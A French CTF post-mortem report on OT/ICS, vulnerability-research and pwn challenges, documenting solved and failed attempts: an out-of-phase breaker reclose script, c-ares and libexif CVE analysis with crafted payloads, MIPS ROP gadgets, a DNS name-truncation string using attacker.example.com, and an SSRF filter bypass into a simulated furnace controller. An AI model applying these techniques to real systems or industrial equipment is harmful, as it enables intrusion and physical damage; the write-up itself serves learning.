`0x05`	Buffer diagnostic / incident	`0x01` normalement ; buffer de 129 octets contenant le flag après un reclose destructeur

Chaîne d'exploitation (reproductible 3 fois sur 3)

1. Se connecter et laisser le disjoncteur ouvert (ne pas envoyer `0x02` / `0x03`).
2. Interroger `0x01` en boucle (~150 ms), décoder les deux flottants little-endian (phase réseau, phase générateur, en degrés) et calculer `norm(phase_grid - phase_gen)` replié dans `[-180, 180]`. Disjoncteur ouvert, les deux phases dérivent indépendamment — aucun sync-check côté serveur ne les empêche de se désaligner — et approchent périodiquement ±180° (anti-phase) environ toutes les 70 s.
3. Quand `|diff| > 175°`, envoyer immédiatement `0x03`. Le CLOSE est accepté quel que soit l'écart de phase, puisque le dispositif 25 n'existe pas : la réponse est `0x02` au lieu de `0x01`, ce qui confirme l'événement destructeur.
4. Envoyer `0x05` : le buffer étendu de 129 octets revient, `[status:1][ascii flag + padding nul]`. Retirer l'octet de statut et les zéros finaux, décoder en ASCII.

```
while True:
    status, grid_phase, gen_phase = read_telemetry(sock)      # 0x01
    diff = normalize_deg(grid_phase - gen_phase)
    if abs(diff) > 175:
        send_close(sock)                                      # 0x03 -> 0x02
        break
flag_buf = read_diag_buffer(sock)                              # 0x05
flag = flag_buf[1:].rstrip(b"\x00").decode()
```

Preuves

- L'octet 9 du trailer de télémesure reflète l'état du disjoncteur (`00` ouvert, `01` fermé normal). L'octet 10 passe à `01` spécifiquement après l'événement destructeur.
- Après l'événement, les phases continuent de dériver indépendamment : le générateur n'est plus verrouillé/synchronisé, ce qui est cohérent avec un modèle qui le considère comme détruit — preuve que `0x02` est bien une issue distincte et destructrice, pas une bizarrerie du protocole.
- Journaux de fuzzing conservés : `workspaces/ot-002/artifacts/opcode_scan.log` et `post_event_fuzz.log`.

> **LEÇONS**
>
> Sur un protocole binaire inconnu, balayer les 256 valeurs du premier octet est une manière rapide et bon marché de cartographier la surface de commandes. Les classes d'attaque ICS réelles (Aurora, manipulation de consigne type Stuxnet, dosage chimique type Oldsmar) se reconnaissent dans le texte d'ambiance et se traduisent directement en séquences d'opérations à essayer. Enfin, un dispositif dont l'absence est confirmable par le protocole lui-même (ici `0x04` → « sync-check absent ») est un signal fort que la sécurité correspondante n'est pas appliquée côté serveur.

CHAPITRE 8

Vuln Research — trois cibles, trois niveaux de preuve

Trois challenges résolus (190 points) mais avec trois qualités de preuve très différentes : une CVE confirmée par diff de source, une revue de code entièrement négative, et un solve dont il ne reste rien.

8.1 VULN#003 — c-ares 1.16.1 et CVE-2020-8277

CIBLE	`169.58.126.107:7028` — service d'inspection de réponses DNS
PIÈCE JOINTE	`c-ares-src.tar.gz` = c-ares **1.16.1**, identique octet pour octet à l'amont
CATÉGORIE	Vuln Research — 40 pts (40 solves)
FLAG	`CTF{7be3ffc6c7dd708e925627551706e233}`

Protocole (entièrement cartographié)

- Connexion TCP, envoi d'une longueur sur 4 octets big-endian suivie du message DNS, puis `shutdown(WR)`.
- Réponse : exactement `status: <msg>\n`, puis fermeture. Un message par connexion.
- Statuts observés : `no effect` (parse OK), `not valid` (erreur de parse), `bad length` / `short read` (erreurs de framing), et `rate limited, try again later`.
- `short read` prouve que le harnais lit exactement la longueur déclarée : pas de vecteur « longueur incohérente ». Plafond de message situé entre ~7 197 et ~14 365 octets.
- Rate-limit : environ 5 messages par fenêtre de 5 minutes ; un sommeil de 95 s ne suffit pas toujours.

Le bug (confirmé par diff amont)

Dans `src/lib/ares_parse_a_reply.c` ligne 200 (version 1.16.1) :

```
if (naddrttls) { *naddrttls = naddrs; }   /* total, peut dépasser le buffer de l'appelant */
```

Correctif amont (1.17.x) :

```
*naddrttls = (naddrs > *naddrttls) ? *naddrttls : naddrs;
```

Si la réponse DNS contient plus d'enregistrements A (ou AAAA) que le tableau `addrttls[]` de l'appelant ne peut en contenir, `*naddrttls` est renvoyé plus grand que la taille réelle du tableau. La boucle de l'appelant (`for (i=0; i<naddrttls; i++) addrttls[i] = ...`) lit alors au-delà de la fin. L'écriture *à l'intérieur* de c-ares est correctement bornée (`if (naddrttls && i < *naddrttls)`) : c'est une sur-lecture côté appelant, pas un débordement d'écriture dans la bibliothèque. Le même bug existe dans `ares_parse_aaaa_reply.c`.

Déclencheur et balayage

Le déclencheur consiste à envoyer une réponse avec plus d'enregistrements A/AAAA que le buffer fixe du harnais ; il faut donc trouver sa taille `N`. Les tests enregistrés :

TEST	RÉSULTAT DISTANT
Chaîne CNAME→A normale (contrôle)	`no effect`
NUL dans le CNAME (CVE-2021-3672 canonique)	`no effect`
Variantes NUL dans le owner / caractère invalide dans le CNAME	`no effect`
Enregistrements A, n = 2, 4, 8, 16	`no effect`
Enregistrements AAAA, n = 4 à 64	`no effect`
A n≥32, AAAA n≥128	inconclusif (rate-limit atteint avant lecture propre)

Le plan au moment où les notes s'arrêtent : balayer les counts A 17 → 33 → 65 → 129 → 257 → 490 (environ 7 869 octets, proche du plafond de message observé) et l'équivalent AAAA, jusqu'à ce que le statut bascule. Le flag a été soumis et accepté le 22 octobre, soit bien après la dernière mise à jour du workspace : le balayage (ou un équivalent) a donc abouti, mais le payload exact et la taille `N` n'ont jamais été réécrits dans les notes.

> **PISTE ÉCARTÉE : CVE-2021-3672**
>
> En 1.16.1, `ares_expand_name.c` écrit les octets de label tels quels, ce qui permet à un NUL embarqué de tronquer une chaîne C (primitive d'usurpation de nom d'hôte). Le correctif 1.17.2 échappe les non-imprimables et valide les cibles CNAME comme des noms d'hôte. La troncature classique `trusted.example.com\0.attacker.example.com` a été reproduite localement et acceptée par c-ares, mais à distance elle ne produit que `no effect` : le harnais ne surface pas cette condition. Toutes les variantes testées sont restées muettes.

Outillage local construit pour l'épreuve

- `v3_local_build.py` — compile la c-ares de la pièce jointe en `libcares_att.a` plus un binaire de sonde (nécessite `_DEFAULT_SOURCE`, `_GNU_SOURCE`, et `<netdb.h>` / `<limits.h>` dans `ares_config.h`).
- `v3_local_check.py` — écrit les réponses candidates en en-têtes C et exécute la sonde, en rapportant `status`, `naddrttls`, `h_name`, `addrs`.
- `v3_batch.py` — lanceur distant tenant compte du rate-limit (retry après 95 s).

> **LEÇONS**
>
> Quand un CTF fournit l'arbre source exact d'une bibliothèque libre et vérifiable, le diff avec la version suivante est le chemin le plus rapide vers une classe de bug confirmée : cela indique aussi précisément quelle dimension d'entrée doit varier (ici le nombre d'enregistrements contre la taille du buffer). Reproduire localement avant de balayer une cible limitée en débit est indispensable. Et un statut de framing (`short read`) vaut d'être testé tôt : il élimine à bon compte toute une famille de vecteurs.

8.2 VULN#004 — 120 points, zéro trace

CATÉGORIE	Vuln Research — 120 pts (16 solves)

CIBLE / SOURCE	Inconnues
STATUT	**RÉSOLU** côté plateforme, aucune méthode conservée

Il s'agit du plus gros challenge résolu après ClearHouse, et du moins documenté. Aucun dossier `workspaces/vuln004/` n'a jamais été créé, aucune entrée dans `logs/submissions.log`, aucune pièce jointe conservée. Seul le snapshot de l'API du 28 octobre atteste `solved_by_me: true`.

Le nombre de solves (16 sur l'ensemble de la compétition) indique une cible difficile, probablement une revue de source ou un binaire de recherche de vulnérabilité. Mais rien dans les artefacts ne permet de l'affirmer : ce rapport s'abstient donc de toute reconstitution. Voir §9.10 pour la liste complète des solves sans trace et les conséquences pour la base de connaissances.

8.3 VULN#005 — GoAhead 6.1.1 : une revue de code négative

CIBLE	Portail de gestion d'objets connectés « Acme Gateway », GoAhead v6.1.1 derrière nginx, adresse interne auto-déclarée `192.168.0.3:8080`
CATÉGORIE	Vuln Research — 30 pts (39 solves)
STATUT	**RÉSOLU** côté plateforme — mais la session locale n'a jamais trouvé le bug

Vérification de version

Un `git diff v6.1.1 HEAD -- src/` contre l'amont `embedthis/goahead` montre que **aucun commit postérieur ne touche** `src/` : c'est la dernière version. Le bug n'est donc pas une CVE publiée et doit être trouvé par lecture de source ou fuzzing. Cette vérification a coûté cinq minutes et a évité des heures de recherche de writeup inexistant.

Surface cartographiée

- `/` → 302 vers `/index.html` (contenu statique ; le texte parle de « svc process pool », « acme-gw-44xx », purge de logs à 90 jours).
- `/admin/` et `/admin/index.html` → 401 Basic, realm `example.com`.
- Tous les autres chemins testés (`/cgi-bin/`, `/goform/`, `/upload`, `/api/`, `/action/*`, `/jst/`, `/private/`, `/auth/*`, `/tmp/`) → 404.
- Rate-limit après ~3-5 requêtes inhabituelles ou échecs d'authentification : le bruteforce est explicitement hors sujet.
- `POST multipart/form-data` vers `/` ou `/index.html` déclenche systématiquement un 500, mais le service reste parfaitement stable ensuite (vérifié par des `GET` de contrôle) : chemin d'erreur géré (probablement un échec d'écriture en `/tmp` sandboxé), pas de corruption mémoire.

Classes de vulnérabilité testées et écartées

CLASSE	VÉRIFICATION	VERDICT
Timing sur Basic auth (CVE-2021-43298)	`pmatch()` dans `auth.c` (~l.631) compare sur la longueur maximale et replie la différence dans le résultat : constant en temps.	Corrigé
		Écarté

CLASSE	VÉRIFICATION	VERDICT
Injection de variables d'environnement CGI / LD_PRELOAD (CVE-2017-17562)	`cgi.c` blackliste `LD_`, `LDR_`, `_RLD`, `DYLD_` et le motif Shellshock `=()` avant de construire `envp` ; `/cgi-bin` est de toute façon inaccessible (404).	
Traversée de chemin dans `websNormalizeUriPath`	Revu en entier (`http.c` ~l.2795) : gestion par segments, bornée, clampée à la racine, pas d'UB d'index négatif.	Écarté
Traversée via nom de fichier uploadé	`processUploadHeader` rejette les noms commençant par `.` ou contenant des métacaractères ; le chemin réel est généré par `websTempFile()`.	Écarté
Réflexion du Host dans `Location:`	Confirmée, mais attribuée à `proxy_redirect` de nginx, hors périmètre ; le corps statique avec l'adresse interne vient de `websRedirect()` (valeur de configuration), pas de l'en-tête.	Hors sujet
Format string / `strcpy` / `sprintf`	Recherche exhaustive dans `src/*.c` : chaînes fixes ou buffers correctement dimensionnés.	Écarté
Handler `/action`	`scopy(actionBuf, sizeof(actionBuf), wp->path)` borné ; 404 propre pour une action inconnue ; peut ne pas être activé.	Peu probable
Identifiants par défaut	`src/auth.txt` / `test/auth.txt` embarquent un hash admin Blowfish salé de démonstration ; quelques essais courants, puis arrêt (le hash salé n'est pas cassable seul, et le rate-limit rend le bruteforce inutile).	Non poursuivi

Ce qui restait à auditer

- `js.c` / `jst.c` (2 267 + 260 lignes) — l'interpréteur JS/template embarqué de GoAhead, source classique de corruptions mémoire dans les serveurs web embarqués. `/jst/` renvoie 404 de l'extérieur, mais l'interpréteur peut rester atteignable via une extension `.asp` enregistrée ou une route attrape-tout, si un fichier `.jst` / `.asp` existe dans la racine réelle (seul `/index.html` a été confirmé).
- `runtime.c` (2 726 lignes, table de symboles et stockage de variables) — non audité.
- `socket.c` (1 399 lignes, gestion brute des sockets et buffers) — non audité.

Hypothèse ouverte au moment de l'arrêt : le flag n'était peut-être pas derrière une RCE ou un bypass d'authentification, mais derrière le déclenchement d'un crash avec une forme de payload précise. Le 500 confirmé pourrait appartenir à la bonne famille de bugs sans être encore le bon payload exact (par exemple des en-têtes `Content-Disposition` malformés ou dupliqués, dans l'esprit du motif UAF de CVE-2019-5096).

> **STATUT RÉEL, SANS ENJOLIVEMENT**
>
> Les notes s'arrêtent sur « 0/2 tentatives utilisées (flag non trouvé, rien soumis) ». La plateforme affiche pourtant `solved_by_me: true`, et `logs/submissions.log` ne contient aucune entrée pour l'id 25 : le solve a eu lieu entièrement hors de l'outillage suivi. Si la réponse était `js.c` / `jst.c`, cela n'a jamais été confirmé ici.

LEÇONS

Le diff de version contre l'amont est un préalable décisif : il dit si l'on cherche une CVE ou un bug inédit. Sur un serveur web embarqué, l'interpréteur de script maison (`js.c` / `jst.c`) est une cible de meilleur rendement que les chemins HTTP/auth/CGI déjà très regardés — il faut l'auditer *en premier*, pas en dernier. Enfin, quand les notes s'arrêtent au milieu d'une investigation négative alors que la plateforme montre un solve, il faut l'écrire noir sur blanc : cela indique à une session future ce qui reste fiable et ce qui est réellement inconnu.

CHAPITRE 9

Les neuf challenges non résolus

2 214 points laissés sur la table, dont 1 200 sur un seul challenge. Ce chapitre documente chaque échec avec le même niveau de détail que les réussites : ce qui était confirmé, ce qui a été écarté, et surtout l'endroit exact où le raisonnement s'est arrêté.

#	CHALLENGE	CATÉGORIE	PTS	SOLVES	TENTATIVES	BLOCAGE PRINCIPAL
23	PWN#Beta	pwn	116	43	0 / 1	Impossible de poser `a1` (argv) de façon fiable en une seule connexion
27	PWN#005	pwn	122	15	0 / 3	Aucun binaire fourni ; fuite d'adresse non interprétée
31	PWN#006	pwn	124	14	0 / 3	QuickJS : pas d'exploit construit, sortie bufferisée
24	VULN#001	Vuln Research	124	14	0 / 2	Bug confirmé (libexif) mais pas de canal d'observation du leak
32	VULN#002	Vuln Research	122	15	0 / 3	dnsmasq : bug confirmé, non observable via le harnais
30	OT#003	OT/ICS	128	12	0 / ?	SSRF complète vers le four, mais aucune condition de flag
33	OT#004	OT/ICS	128	12	0 / 3	Adressage des nœuds OPC-UA : invariant sur 3 passes
35	OT#005	OT/ICS	150	0	0 / 3	Service muet après le cooldown anti-scan
14	PayGate	web	1 200	0	0 / 3	JWT + SSRF confirmés, mais pas de sink exploitable côté ledger

9.1 PWN#Beta — MIPS, canari logiciel et `execve` en une connexion

CIBLE	`169.58.126.107:5005`
BINAIRE	`vault` — ELF 32 bits **MIPS R3000** (little-endian, ABI O32, mips32r2), statiquement lié, strippé
CATÉGORIE	pwn — 116 pts (43 solves), `max_attempts = 1`
STATUT	NON RÉSOLU — aucune soumission

Ce qui était confirmé

- `checksec` annonce « No canary found » : **faux**. Le binaire utilise un canari *logiciel*, maison, que `checksec` ne sait pas voir.
- Disposition de pile de la fonction vulnérable `fcn.00400a84`, relativement à `fp_orig` (la valeur de `$fp` à l'entrée) : buffer de 64 octets à `fp_orig+0x1c`, canari à `+0x5c`, `saved_fp` à `+0x60`, `saved_ra` à `+0x64`, `old_sp` à `+0x68`.
- Le leak passe par le prompt « name » avec un off-by-one 65/64 ; l'adresse du buffer se déduit par `buf_start = leaked_saved_fp - 0x4c`.

- `jalr` fonctionne parfaitement. Une session précédente l'avait cru cassé : les échecs venaient en réalité de deux pièges d'arithmétique, pas du mécanisme.
- Gadgets validés et reproductibles, notamment `GADGET_PIVOT2 = 0x400854` (`move $sp,$fp ; lw $ra,0x2c($sp) ; lw $fp,0x28($sp) ; ...`) et `GADGET_T9 = 0x4075e8` (`lw $t9,X($sp) ; jalr $t9 ; nop`).

Les deux pièges qui ont coûté le plus de temps

PIÈGE N°1 — RÉÉCRIRE LE CANARI PAR ERREUR

Appeler `struct.pack_into()` deux fois sur le même offset de la structure de payload écrase silencieusement le canari si l'offset 64 est réutilisé par mégarde pour les données d'un gadget suivant. Le binaire échoue alors avec un message générique, sans indice.

PIÈGE N°2 — LA BASE DE `$SP` N'EST PAS `FP_ORIG`

Pour un saut direct (réécriture de `$ra` sans pivot intermédiaire), `$sp` au moment du saut vaut `buf_start + 0x4c` (`old_sp`), et non `fp_orig = buf_start - 0x1c`. L'épilogue original fait `move sp,fp` avec le vrai `fp_orig` *avant* de charger le nouveau `$fp` depuis `saved_fp`. Toute adresse relative calculée depuis `fp_orig` est fausse de `0x68` (104 octets). Il faut donc toujours passer par un pivot pour contrôler précisément `$sp` avant d'atteindre un gadget qui lit plusieurs registres sur la pile.

Où le challenge s'est arrêté

Deux pistes majeures ont été explicitement tuées, avec leurs causes mécaniques :

1. **Le détournement de GOT (*GOT hijack*) ne peut pas persister.** La primitive plante avant de pouvoir être réutilisée sur la même connexion (NX sur le pivot longue distance, mauvais rechargement de `$gp` lors de la réécriture directe). Surtout, l'architecture est du type `fork`/`exec` par connexion : un crash délibéré suivi immédiatement d'une nouvelle connexion montre un service parfaitement normal, sans latence ni refus, ce qui prouve que chaque connexion repart d'une mémoire vierge. Corrompre la GOT ne survivrait donc jamais d'une session à l'autre.
2. **La piste « backdoor AES / mprotect »** a également été écartée après analyse.

La seule piste encore vivante documentée : poser `a1` (le pointeur d'`argv`) de façon fiable pour appeler `execve`, via une chaîne à trois pivots. C'est précisément là que le travail s'est arrêté — la pose de `a1` n'a jamais été rendue déterministe. Avec `max_attempts = 1`, aucune soumission n'a été tentée : un flag deviné aurait consommé l'unique essai.

BILAN DE MÉTHODE

Sept sessions ont été investies. Le point positif est que les deux impasses sont mortes pour des raisons précises, pas par lassitude. Le point négatif est d'avoir poursuivi une piste de persistance (GOT) sur un service `fork`-par-connexion : un test d'architecture de dix minutes aurait économisé plusieurs sessions.

9.2 PWN#005 — full blackbox, sans binaire

CIBLE	`169.58.126.107:5008`
PIÈCES JOINTES	**Aucune** (`files=[]`)

CATÉGORIE	pwn — 122 pts (15 solves), `max_attempts = 3`
STATUT	**NON RÉSOLU**

Surface observée

Un menu avec `1) Peek memory` (qui demande adresse et longueur) et `2) Checkout` (qui demande une note libre), plus une **option cachée 9** non listée dans le menu.

- **Peek memory** : longueur valide de 1 à 1024 (>1024 → « Invalid length »). Toutes les adresses testées renvoient zéro octet — plages texte non-PIE `0x400000-0x410000`, bases PIE typiques `0x555555554000+`, plages libc/ld `0x7ffff7c00000` et `0x7ffff7fcf000`. Cohérent avec PIE + ASLR actifs et aucune fuite pour ancrer une adresse réelle. Deviner une base PIE à ~28 bits d'entropie est irréaliste, et de toute façon inutile : chaque connexion crée un processus neuf avec sa propre base, donc un succès ne se transpose pas.
- **Checkout (le débordement)** : la note est lue dans un buffer de pile fixe. La frontière est confirmée par détection d'EOF et non par timeout : longueur ≤ 70 → la connexion survit et le menu revient (« Thanks for visiting. ») ; longueur ≥ 72 → la connexion se ferme, le processus crashe, sans message `*** stack smashing detected ***`. Donc 64 octets de buffer + 8 octets de RBP sauvegardé = **offset 72** jusqu'à l'adresse de retour, sur une frame x86-64 classique apparemment sans canari (ou avec un canari qui n'imprime rien).
- **Option cachée 9** : affiche `session: 0x<16 hex> 0x<16 hex>`. La paire est stable pendant une connexion et différente à chaque nouvelle connexion. Sur 14 échantillons, les deux valeurs partagent toujours leurs 16 bits de poids fort (`a^b & 0xffff0000 == 0`), les 48 bits restants paraissant indépendants. Ce ne sont *pas* des pointeurs x86-64 canoniques : l'hypothèse la plus probable est un identifiant de session (deux moitiés d'un identifiant 128 bits tronqué) plutôt qu'une fuite mémoire.

Pourquoi cela n'a pas abouti

Sans binaire, il n'y a ni adresse de gadget, ni emplacement de fonction gagnante, ni moyen de situer `system`. Le contrôle de RIP est démontré (offset 72), mais il n'existe aucune cible utile : PIE + ASLR sans fuite exploitable rendent toute tentative de ret2win ou ret2libc impossible. L'option 9 n'a jamais pu être interprétée comme une adresse réelle, et les 0 octets renvoyés par `peek` empêchent de construire un oracle.

> **CE QUI AURAIT PU DÉBLOQUER**
>
> Un oracle de type « peek à une adresse dérivée de la fuite 9 » : si l'un des deux identifiants est en réalité une adresse de pile encodée ou un pointeur obfusqué (XOR/rotation), le décodage aurait fourni l'ancre manquante. Cela n'a pas été tranché. Autre possibilité : le service peut avoir un chemin de lecture de fichier ou d'exécution qui ne dépend pas des adresses, non découvert.

9.3 PWN#006 — QuickJS derrière un pipe bufferisé

CIBLE	`169.58.126.107:5009` — `qjs` (QuickJS CLI) directement sur stdin/stdout
PIÈCES JOINTES	`qjs` (x86-64 PIE, strippé, Partial RELRO, NX, sans canari), `libc.so.6` (glibc 2.42-13), `libm.so.6`, `ld-linux` — puis un `handout.zip`
CATÉGORIE	pwn — 124 pts (14 solves), `max_attempts = 3`
STATUT	

	NON RÉSOLU

Ce qui était confirmé

- La cible exécute **QuickJS version 2024-01-13** (stock Bellard, pas quickjs-ng) sur stdin/stdout, sans bannière ni prompt visible.
- **Piège de protocole majeur** : la sortie distante est entièrement bufferisée (pas un tty). Aucune donnée n'arrive avant la fermeture du côté écriture ou la fin du processus. Sonde minimale qui fonctionne :

```
s = socket.create_connection(('169.58.126.107', 5009), timeout=5)
s.sendall(b'console.log(1+1)\n')
s.shutdown(socket.SHUT_WR)     # EOF -> qjs termine stdin et flush à la sortie
time.sleep(2)
data = s.recv(8192)            # -> b'2\n'
```

- Reproduction locale possible avec le `ld-linux` fourni et les bibliothèques du paquet.
- Le mode de lancement exact (interactif `-i`, script sur stdin, ou harnais maison) n'était pas déterminé — ce qui conditionne la disponibilité de `std`, `os`, `BigFloat`, etc.

Pistes non exploitées

- Identifier la source exacte correspondant à `2024-01-13` et chercher les CVE connues ou les correctifs manquants : débordements de tableaux et typed-arrays, `structuredClone`, BigInt, RegExp, Proxy, WeakRef/FinalizationRegistry.
- Déterminer les options passées au wrapper (`--std`, `--bignum`, script préchargé) en sondant la disponibilité des globales à distance.
- Construire un harnais local identique (même binaire, même libc) pour fuzzer avant de toucher la cible — seules 3 tentatives sont autorisées.

> **POURQUOI C'EST UN ÉCHEC DE PLANIFICATION, PAS DE TECHNIQUE**
>
> Le challenge a été ouvert alors qu'il venait d'être publié (0 solve au moment du relevé), avec 14 solves à la fin. Le temps a été consommé par la compréhension du transport (bufferisation) et par l'inventaire, sans jamais passer à la phase de recherche de bug. C'est le cas typique où un challenge « raisonnablement difficile » est perdu par manque d'allocation de temps, pas par impasse technique.

9.4 VULN#001 — libexif : bug confirmé, canal d'observation absent

CIBLE	`nc 169.58.126.107 7027` — « metadata service »
PIÈCE JOINTE	`libexif-src.tar.gz` — libexif **0.6.23.1** (snapshot de développement post-0.6.23, pré-0.6.24)
CATÉGORIE	Vuln Research — 124 pts (14 solves), `max_attempts = 2`
STATUT	NON RÉSOLU — 2 tentatives consommées, 0 restante

Identification de version (solide)

L'archive correspond **octet pour octet** au commit amont `a918830` du 1er novembre 2021, tous les fichiers datés du `Nov 1 2021`. La description « The exact source » est donc littérale : le service est lié à

ce checkout précis, et le challenge consiste à trouver quel correctif amont *manque*, pas une backdoor plantée.

Le bug

Dans `exif_data_load_data()` (`libexif/exif-data.c`), quand l'entrée ne commence pas par l'en-tête de 6 octets `Exif\0\0` et que la fonction bascule sur le balayage des marqueurs JPEG pour trouver le segment APP1 :

```
d++; ds--;
len = (((unsigned int)d[0]) << 8) | d[1];   /* longueur BE contrôlée par l'attaquant */
d += 2;
ds = len - 2;    /* aucune vérification len >= 2, aucune vérification len <= ds restant */
```

Si `len` vaut 0 ou 1, `ds` (non signé) sous-déborde à environ 4 milliards. Deux lignes plus loin, le code plafonne : `if (ds > 0xfffe) ds = 0xfffe;`. L'effet pratique est donc une **sur-lecture de tas pouvant atteindre ~64 Kio** au-delà du buffer d'entrée réel — bornée, mais largement suffisante pour un info leak. Deux correctifs amont (`54461dd` et `4bd5cd6`, tous deux issus d'oss-fuzz) sont postérieurs à ce snapshot : l'archive est délibérément épinglée dans la fenêtre vulnérable entre les deux.

Pourquoi cela n'a pas payé

Seize scripts d'exploitation ont été écrits, dont un payload APP1 construit à la main : `Exif\0\0` + en-tête TIFF big-endian minimal (IFD0 à l'offset 8) + une entrée IFD `tag=0x9286 (UserComment)`, `type=2 (ASCII)`, `count=0xFFFF`, `value_offset=100`, avec le champ de longueur APP1 forcé à `0x0000`. Cela devrait faire copier ~65 535 octets depuis l'offset 100 du TIFF, bien au-delà du buffer réel de 668 octets. Résultat : toujours `status: no effect`.

> **THÉORIE DE L'ÉCHEC**
>
> Le harnais renvoie une ligne de statut qui ne rapporte probablement que *crash ou pas crash* — même signal binaire que sur VULN#002 : `no effect` pour une entrée inoffensive ou correctement parsée, `not valid` pour une entrée rejetée avant d'atteindre le code vulnérable. Il n'y a **aucun canal de retour de données**. Un bug d'info leak, qui ne plante pas sur un tas glibc classique (64 Kio après une petite allocation restent presque toujours sur une page mappée), ne peut donc jamais faire basculer ce statut. Il faudrait une primitive différente — un enchaînement de tags malformés, ou un allocateur durci qui placerait une page de garde à portée du dépassement.

Deux tentatives ont été consommées sans succès ; il n'en restait plus aucune. Le challenge a donc été abandonné pour cette raison purement administrative, indépendamment de la qualité de l'analyse statique — qui reste, elle, solide et réutilisable.

9.5 VULN#002 — dnsmasq et le bug DHCPv6 non observable

CIBLE	`169.58.126.107:7026` — harnais texte
PIÈCE JOINTE	`dnsmasq-src.tar.gz` — dnsmasq `v2.93test6-4-gc8168e8` (commit `c8168e888eb42870e10e6d9d96609d4c3cf2e06d`)
CATÉGORIE	Vuln Research — 122 pts (15 solves), `max_attempts = 3`
STATUT	**NON RÉSOLU** — 0 / 3 tentatives

Identification

Le fichier `VERSION` est un placeholder d'archive Git (`$Format:%d$`), donc inutilisable. Le `CHANGELOG` pointe vers la série 2.93 non publiée. La méthode employée pour VULN#001 a été réutilisée : clonage de l'historique amont (`https://thekelleys.org.uk/git/dnsmasq.git` , historique complet des tags v2.9 à v2.93 et des `v2.93test1..test10` , `v2.93rc1..rc3`) puis comparaison octet pour octet. Le snapshot correspond exactement à `v2.93test6-4-gc8168e8` .

Correctif manquant

- Le correctif amont `7280e46` pour `relay_upstream6()` est **absent** : les contrôles `sz < 4` manquent avant la lecture du champ de longueur.
- Le bug voisin de `dhcp6_maybe_relay()` / `opt6_first()` (correctif `0597828`) est **également présent**.
- L'entrée de changelog sur la régression DHCPv6 en présence d'un relais est un leurre : ce correctif-là est bien présent dans la source.

Résultat des tests

Environ 37 requêtes au total, toutes en connexions TCP uniques, espacées de 1,5 à 3 secondes, sans tempête ni flooding. Le service n'a jamais crashé ; chaque revalidation de liveness renvoyait exactement le même `status: no effect` avec la même latence de 3-4 s. Aucun paquet (zéro-padded, minimal, contextuel) n'a produit d'effet observable.

> **CONCLUSION HONNÊTE**
>
> La confiance dans l'analyse statique reste **élevée** : la version exacte est identifiée, le correctif manquant aussi. Mais la confiance dans la *faisabilité d'observation* à travers ce harnais est **faible à modérée**. Il est possible que le flag soit attribué pour la seule identification correcte de la révision et du correctif manquant — ce qui était entièrement documenté — et non pour un crash du service. Aucune soumission n'a été faite, les trois tentatives étant intactes.

> **LEÇON DE MÉTHODE**
>
> Un harnais qui ne renvoie qu'un statut est un oracle extrêmement pauvre. Avant d'investir dans un bug précis, il faut caractériser *ce que le harnais observe* : crash, code de retour, temps, contenu ? Sur VULN#001 comme sur VULN#002, le même piège s'est reproduit : un bug réel, confirmé par diff, mais aucun canal pour le constater. La question « comment saurai-je que ça a marché ? » aurait dû être posée avant la dixième variante de paquet.

9.6 OT#003 — SSRF complète vers le four, mais pas de condition de flag

CIBLE	`169.58.126.107:6002` — « Rhein-Vogt Steelworks » Plant Operations Portal (Express/Node derrière openresty)
CATÉGORIE	OT/ICS — 128 pts (12 solves)
STATUT	**NON RÉSOLU** — surface HTTP entièrement épuisée

Chaîne confirmée

1. **Fuite d'identifiants** — `/commissioning-notes.txt` contient `operator` / `St33lW0rks!2024` .

2. **Tableau de bord factice** — `/dashboard` affiche un statut « nominal » codé en dur (620 °C) qui ne change jamais, quelle que soit la réalité du backend. C'est de l'interface, pas de la télémétrie.
3. **SSRF** — `POST /ops/test-sensor` avec un champ `url` fait un `fetch(url)` côté serveur.
4. **Contournement du filtre** — le filtre bloque `localhost`, `127.0.0.1`, les IP privées en notation pointée (10/8, 172.16/12, 192.168/16) et toute URL contenant la sous-chaîne `furnace` (testée partout dans l'URL, sensible à la casse). Deux bypass : la notation entière décimale (ou octale), `http://2887319554:4000/` pour `172.25.0.2` ; et un nom d'hôte résolvant en interne sans mot-clé, `gateway` → `172.25.0.3`.
5. **Cartographie du réseau Docker** — `172.25.0.0/24`. Seuls `.1` (passerelle, rien d'écoutant), `.2` (application de contrôle du four, port **4000**) et `.3` / `.4` (le portail lui-même, probables alias) répondent. Toutes les autres adresses renvoient `EHOSTUNREACH` (pas d'entrée ARP), ce qui confirme qu'il n'y a que quatre hôtes.
6. **SSRF à méthode arbitraire** — envoyer `/ops/test-sensor` en JSON avec `{"url":..., "method":"POST"}` fait réellement émettre cette méthode au backend (vérifié par la différence entre « Cannot POST /x » et « Cannot GET /x »). Le champ `body` (chaîne JSON, pas objet) est aussi transmis, mais le service du four ne semble pas le lire. `headers` est accepté sans erreur mais sans effet observable.

Attention : `OPTIONS` (et parfois d'autres méthodes exotiques) fait tomber le backend Node du portail, qui renvoie 502 pendant 30 à 90 s avant de se rétablir tout seul.

Surface du service de contrôle (172.25.0.2:4000)

ROUTE	COMPORTEMENT
`GET /status`	Télémétrie réelle : pression, indicateur `vented`.
`POST /vent`	`{"ok":true,"pressure":35,"vented":true}` — l'évent est ouvert.
autres méthodes / routes	Aucune. `GET /vent` → 404, `HEAD /vent` → 404. Le service n'a que ces deux handlers.

L'état revient à la baseline (92 / `false`) après une période d'inactivité. Les variantes de noms de champs (`data`, `payload`, `content`) ont toutes été testées : les handlers ignorent purement et simplement le corps de requête, quel que soit le nom du champ.

Où cela s'arrête

Toute la surface HTTP est épuisée : méthodes, en-têtes, champs de corps, chemins. Aucun flag dans un corps de réponse, un en-tête ou une page d'erreur. Deux pistes restaient, toutes deux hors de portée d'une simple sonde HTTP :

1. **Un `/vent` de longue durée** (plusieurs heures) pourrait être la condition réelle — un four « éventé » en continu change peut-être un état côté plateforme.
2. **Le flag est peut-être accordé par une condition détectée côté plateforme**, et non renvoyé dans une réponse : il faudrait alors déclencher la condition « four hors contrôle » et attendre que le score s'incrémente.

LEÇON

Une SSRF parfaitement exploitée ne vaut un point que si elle atteint un *sink* qui produit le flag. Ici, l'accès au service de contrôle était total, mais ce service n'avait qu'une télémétrie et une action : aucune lecture de fichier, aucune exécution, aucun secret. Le temps investi à chercher un flag dans les réponses était du temps perdu — il fallait, dès l'inventaire de `/status` + `/vent`, conclure que la surface était fermée et se demander *quelle condition industrielle* le challenge attendait.

9.7 OT#004 — OPC-UA simulé : l'adressage des nœuds n'a jamais cédé

CIBLE	`169.58.126.107:6003` — protocole TCP maison « inspiré d'OPC-UA » (le vrai encodage binaire OPC-UA ne répond pas)
CATÉGORIE	OT/ICS — 128 pts (12 solves), `max_attempts = 3`
